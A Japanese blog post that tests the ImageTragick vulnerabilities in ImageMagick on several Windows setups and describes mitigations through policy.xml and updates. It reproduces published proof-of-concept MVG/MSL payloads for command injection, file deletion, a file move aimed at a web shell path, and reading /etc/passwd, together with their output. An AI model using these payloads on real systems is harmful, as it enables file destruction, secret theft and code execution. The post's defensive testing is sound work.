ゴールデンウイーク中に明らかになったImageTragickと呼ばれるImageMagickの脆弱性が各所で報じられています。
ImageMagick の脆弱性 (CVE-2016-3714) に関する注意喚起
ImageTragick
既にアップデートがリリースされていますが、条件によっては単にImageMagickをアップデートすれば対策完了となるわけではないようです。
特に、ImageMagick 7.0.1-1にアップデートしただけの場合、対策は不十分と考えられますのでご注意ください。
以下に、自分の環境での検証を踏まえつつ、行った対策を紹介します。
発覚した脆弱性
今回明らかになったImageMagickの脆弱性は、冒頭に掲載したJP-CERTのタイトルにも含まれるCVE-2016-3714の1つだけではなく、以下の5つあります。
- CVE-2016-3714
The (1) EPHEMERAL, (2) HTTPS, (3) MVG, (4) MSL, (5) TEXT, (6) SHOW, (7) WIN, and (8) PLT coders in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allow remote attackers to execute arbitrary code via shell metacharacters in a crafted image, aka "ImageTragick."
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-3714
- CVE-2016-3715
The EPHEMERAL coder in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allows remote attackers to delete arbitrary files via a crafted image.
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-3715
- CVE-2016-3716
The MSL coder in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allows remote attackers to move arbitrary files via a crafted image.
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-3716
- CVE-2016-3717
The LABEL coder in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allows remote attackers to read arbitrary files via a crafted image.
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-3717
- CVE-2016-3718
The (1) HTTP and (2) FTP coders in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allow remote attackers to conduct server-side request forgery (SSRF) attacks via a crafted image.
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-3718
大雑把な理解としては、いずれの脆弱性もImageMagick固有のスクリプトである、Magick Vector Graphics(MVG)またはMagick Scripting Language(MSL)を悪用したものと解釈できます*1。
このため、攻撃用のMVG/MSLファイルを外部から喰わされない限りは問題は起きないと判断できます。
但し、JPG等のImageMagickが扱える一般的な画像ファイルの拡張子に偽装したMVG/MSLファイルでも攻撃は成功します(後述)。
故に、MVG/MSLを利用していない場合でも、外部からの画像ファイル入力を扱う環境下でImageMagickを利用している場合には予防的対策を行うべきでしょう。
いずれにせよ、MVG/MSL関連の権限を無効化してしまえば、これらの挙動は発動できず、問題は発生しないようです。
そのためには後述のpolicy.xmlで設定を行う必要があります。
検証環境
具体的に何が起きるのか、以下の環境で検証しました。
環境1
- OS
- Windows 8.1 Pro (x64)
- ImageMagick
- ImageMagick 6.8.9-0 Q16 x64 2014-04-06
環境2
- OS
- Windows 10 Home (x64)
- ImageMagick
- ImageMagick 6.9.3-0 Q16 x64 2016-01-02
環境3(環境2をImageMagick 7.0.1-1にUpdate)
- OS
- Windows 10 Home (x64)
- ImageMagick
- ImageMagick 7.0.1-1 Q16 x64 2016-05-04
環境4(環境3(2)をImageMagick 7.0.1-2にUpdate)
- OS
- Windows 10 Home (x64)
- ImageMagick
- ImageMagick 7.0.1-2 Q16 x64 2016-05-08
PoC
ImageTragickのサイトにて示されているPoCスクリプトを基に、各環境での挙動を示します(policy.xmlはデフォルトのまま何も追記していません)。
CVE-2016-3714(実証不能)
push graphic-context viewbox 0 0 640 480 #fill 'url(https://example.com/image.jpg"|ls "-la)' #fill 'url(https://www.imagemagick.org/image/wizard.png"|dir "/b)' #fill 'url(http://www.imagemagick.org/Usage/draw/color_reset.png)' fill url(http://www.imagemagick.org/Usage/draw/color_reset.png) pop graphic-context
⇒Windows用にOSコマンドインジェクションのローカライズを図ってみるも、それ以前に単純な fill url()がエラーを返す。
ソースコードを確認したわけではないが、ImageTragickのサイトに拠れば、パラメータはwgetに引き渡されるらしい。
が、Windowsにはwgetコマンドは無いため、Windowsではfill url()は使えず、fill colorのcolorに不適切な指定がされていると判断されてのエラーメッセージのようにも見える。
環境4のみ、エラーメッセージが異なり、MVGの読み込み時に弾かれていることが解る。
- 環境1
C:\temp\im>convert CVE-2016-3714.mvg out.png convert.exe: unrecognized color `https://www.imagemagick.org/image/wizard.png' @ warning/color.c/GetColorCompliance/1046. convert.exe: Non-conforming drawing primitive definition `fill' @ error/draw.c/DrawImage/3193.
- 環境2
C:\temp\im>convert CVE-2016-3714.mvg out.png convert.exe: unrecognized color `https://www.imagemagick.org/image/wizard.png' @ warning/color.c/GetColorCompliance/1046. convert.exe: non-conforming drawing primitive definition `fill' @ error/draw.c/DrawImage/3169.
- 環境3
C:\temp\im>convert CVE-2016-3714.mvg out.png convert: unrecognized color `http://www.imagemagick.org/Usage/draw/color_reset.png' @ warning/color.c/GetColorCompliance/1045. convert: non-conforming drawing primitive definition `fill' @ error/draw.c/DrawImage/3173.
- 環境4
C:\temp\im>convert CVE-2016-3714.mvg out.png convert: no decode delegate for this image format `' @ error/constitute.c/ReadImage/505. convert: no images defined `out.png' @ error/convert.c/ConvertImageCommand/3235.
CVE-2016-3715
push graphic-context viewbox 0 0 640 480 #image over 0,0 0,0 'ephemeral:/tmp/delete.txt' image over 0,0 0,0 'ephemeral:dummy.txt' pop graphic-context
⇒環境1,2のみならずUpdate後の環境3もファイルが削除されてしまうが、環境4ではMVGの読み込みで弾かれ、ファイルは削除されない。
- 環境1
C:\temp\im>dir /b dummy.txt dummy.txt C:\temp\im>convert CVE-2016-3715.mvg out.png C:\temp\im>dir /b dummy.txt ファイルが見つかりません
- 環境2
C:\temp\im>dir /b dummy.txt dummy.txt C:\temp\im>convert CVE-2016-3715.mvg out.png convert.exe: no decode delegate for this image format `EPHEMERAL' @ error/constitute.c/ReadImage/501. C:\temp\im>dir /b dummy.txt ファイルが見つかりません
- 環境3
C:\temp\im>dir /b dummy.txt dummy.txt C:\temp\im>convert CVE-2016-3715.mvg out.png convert: no decode delegate for this image format `EPHEMERAL' @ error/constitute.c/ReadImage/505. C:\temp\im>dir /b dummy.txt ファイルが見つかりません
- 環境4
C:\temp\im>dir /b dummy.txt dummy.txt C:\temp\im>convert CVE-2016-3715.mvg out.png convert: no decode delegate for this image format `' @ error/constitute.c/ReadImage/505. convert: no images defined `out.png' @ error/convert.c/ConvertImageCommand/3235. C:\temp\im>dir /b dummy.txt dummy.txt
CVE-2016-3716(検証不十分)
push graphic-context viewbox 0 0 640 480 #image over 0,0 0,0 'msl:/tmp/msl.txt' image over 0,0, 13,0 'msl:msl.txt' pop graphic-context
<?xml version="1.0" encoding="UTF-8"?> <image> <!-- <read filename="/tmp/image.gif" /> <write filename="/var/www/shell.php" /> --> <read filename="fake.txt" /> <write filename=".\\tmp\\dummy.bat" /> </image>
⇒ファイル移動される脆弱性とのことだが、悪用するには細工した元ファイルを用意する必要がある。が、単純にリネームしただけの元ファイルでは弾かれることが解った。
例えば、"del /s /q *.*"と書いたfake.gifを移動元ファイルとしても、gifではないと怒られる(エビデンス取り損ね)。この挙動から察するに、拡張子から判断したフォーマットとしてファイルを開くが、ファイルヘッダが拡張子と違うと弾くと思われる。
メタデータの無い画像形式を喰わせれば弾かれないかと思い、YUVやRGBに拡張子を偽装してみたが、画像サイズが解らんと弾かれた(縦・横ピクセル数をMSLでどのように指定するのかよく解らなかったため、これ以上は諦めた)。
故に、ファイルヘッダに矛盾が無いよう真面目に偽装ファイルを作らねば発動しないと思われ、面倒なので画像ではなくテキストファイルを元ファイルとして、バッチファイルにすることにした。
出力されたdummy.batはfake.txtの内容ではなく、MSLで指定したキャンバスの各画素の情報が出力されており、ファイル移動もされていない。少なくとも入力がテキストファイルの場合は攻撃には使えないようだ。
- 環境1
C:\temp\im>dir /b fake.txt .\tmp\ fake.txt C:\temp\im>convert CVE-2016-3716.mvg out.png C:\temp\im>dir /b fake.txt .\tmp\ fake.txt dummy.bat
- 環境2
C:\temp\im>convert CVE-2016-3716.mvg out.png convert.exe: Document is empty `SAX error' @ fatal/msl.c/MSLError/7532.
- 環境3
C:\temp\im>convert CVE-2016-3716.mvg out.png convert: Document is empty `SAX error' @ fatal/msl.c/MSLError/7591.
- 環境4
C:\temp\im>convert CVE-2016-3716.mvg out.png convert: no decode delegate for this image format `' @ error/constitute.c/ReadImage/505. convert: no images defined `out.png' @ error/convert.c/ConvertImageCommand/3235.
CVE-2016-3717
push graphic-context viewbox 0 0 640 480 #image over 0,0 0,0 'label:@/etc/passwd' image over 0,0 0,0 'label:@secret.txt' pop graphic-context
⇒ローカルファイルの内容が画像に出力される脆弱性(?)らしい。そういう機能で、脆弱性ではない気がするのだが。それが問題だとするのならば、問題の本質はファイルのパーミッション設定が不適切或いは、ImageMagick実行ユーザが不適切なだけではないだろうか。
環境4以外はファイルの内容が画像に出力される。
- 環境1
C:\temp\im>type secret.txt secure informations C:\temp\im>convert CVE-2016-3717.mvg out.png
- out.png
- 環境2
C:\temp\im>type secret.txt secure informations C:\temp\im>convert CVE-2016-3717.mvg out.png
- out.png
- 環境1と同様
- 環境3
C:\temp\im>convert CVE-2016-3717.mvg out.png
- out.png
- 環境1と同様
- 環境4
C:\temp\im>convert CVE-2016-3717.mvg out.png convert: no decode delegate for this image format `' @ error/constitute.c/ReadImage/505. convert: no images defined `out.png' @ error/convert.c/ConvertImageCommand/3235.
- out.png
- 生成されない
CVE-2016-3718
CVE-2016-3714が検証できないため、同様に検証不能
(参考)MVGをJPGに偽装(単純リネーム)した場合の挙動
偽装拡張子のフォーマットとしてではなく、MVGとして扱われている。
- 環境1
C:\temp\im>copy CVE-2016-3717.mvg CVE-2016-3717.jpg 1 個のファイルをコピーしました。 C:\temp\im>convert CVE-2016-3717.jpg out.png
- 環境2
C:\temp\im>copy CVE-2016-3717.mvg CVE-2016-3717.jpg 1 個のファイルをコピーしました。 C:\temp\im>convert CVE-2016-3717.jpg out.png
- 環境3
C:\temp\im>convert CVE-2016-3717.jpg out.png
- 環境4
C:\temp\im>convert CVE-2016-3717.jpg out.png convert: no decode delegate for this image format `' @ error/constitute.c/ReadImage/505. convert: no images defined `out.png' @ error/convert.c/ConvertImageCommand/3235.
policy.xml
MVG/MSLを利用する必要が無い場合
一連の脆弱性はMVG/MSL関連のものであるから、MVG/MSLを利用しないのならば、これらの権限を根こそぎ無効にしてしまえば影響を受けない。
ImageMagick公式のアナウンスでは、以下のエントリをpolicy.xmlに追記するよう示されている。
<policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> <policy domain="coder" rights="none" pattern="TEXT" /> <policy domain="coder" rights="none" pattern="SHOW" /> <policy domain="coder" rights="none" pattern="WIN" /> <policy domain="coder" rights="none" pattern="PLT" />
ImageMagick Security Issue - ImageMagick
一方、ImageTragickのページには、以下のエントリをpolicy.xmlに追記するよう示されている。
<policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> <policy domain="coder" rights="none" pattern="TEXT" /> <policy domain="coder" rights="none" pattern="SHOW" /> <policy domain="coder" rights="none" pattern="WIN" /> <policy domain="coder" rights="none" pattern="PLT" />
これらの違いはpattern="URL"の行が含まれるか否かである。
ImageMagickのChangeLogによれば、"2016-05-03 7.0.1-1 Cristy"に
Sanitize input filename for http / https delegates (improved patch).
ImageMagick: Changelog
とある。この修正により、pattern="URL"がImageMagick公式のアナウンスには含まれていないと想像される。
故に、従来バージョンをUpdateせずに利用し続けるならば、pattern="URL"を含むImageTragickのエントリをpolicy.xmlに追記するべきで、7.0.1-1以降ならpattern="URL"をpolicy.xmlに含めなくても問題ないという解釈できるのではないだろうか(この点についての公式の明確な説明は見当たらない)。
なお、policy.xmlの設定後は、環境1~4の全てで、
convert: not authorized `filename.mvg'
と、エラーメッセージが表示され、MVGファイルの読み込みが出来ないことを確認できた。
MVG/MSLを利用する必要がある場合
7.0.1-1までは他の画像ファイル形式と同様に、ファイル名指定でMVG/MSLを読み込めていたが、7.0.1-2以降は、mvg:filename.mvgのように"mvg:"や"msl:"をプレフィクスとして指定し、明示的にMVG/MSLファイルであることを示す必要がある。
但し、この場合もpolicy.xmlに前述の設定を行うとMVG/MSLは使えないため、MVG/MSLの利用が必須な場合、policy.xmlの設定はできない。
なお、7.0.1-2で試したところ、mvgを拡張子jpgに偽装(単純リネーム)し、mvg:filename.jpgとした場合もmvgとして処理された。
Windows環境ではファイル名にコロン(:)は使えないので懸念は無いが、コロンの使えるUnix環境で"mvg:filename.jpg"のようなファイル名に偽装された場合の挙動については、検証環境が無いので解らない。
ファイル名が適切にパースされていればもちろん問題ないが、ソースコードは読んでいないので不明。
行った対策
そもそも私がImageMagickを利用している環境はWeb/APサーバーではなく、不特定多数の外部ユーザから送出された画像データを処理しているわけでもなく、内製された画像データを大量処理しているだけである。
故に、本件について本質的には対応不要と考えられる。が、OSや他のアプリケーションも含む未知の脆弱性によって、細工されたファイルを送り込まれてしまう可能性は0ではない。
このため、予防的対策として以下の対策を行った。
- ImageMagickを7.0.1-2にUpdate
- policy.xmlにImageMagick公式の権限拒否設定を追記(MVG/MSLは元から利用していない)
これに伴い、ImageMagick6系からImageMagick7に移行したことになるのだが、それに伴う弊害は今のところ顕在化していない。
(ImageMagick6系を使い続ける必要があれば、今回の対応については6.9.4.0が7.0.1.2相当らしい)。
以上。
*1:個人的には、CVE-2016-3714については単にImageMagickのサニタイズが不十分、3715,3716,3718は想定外、3717はそもそも脆弱性なのか(?)という感じがします。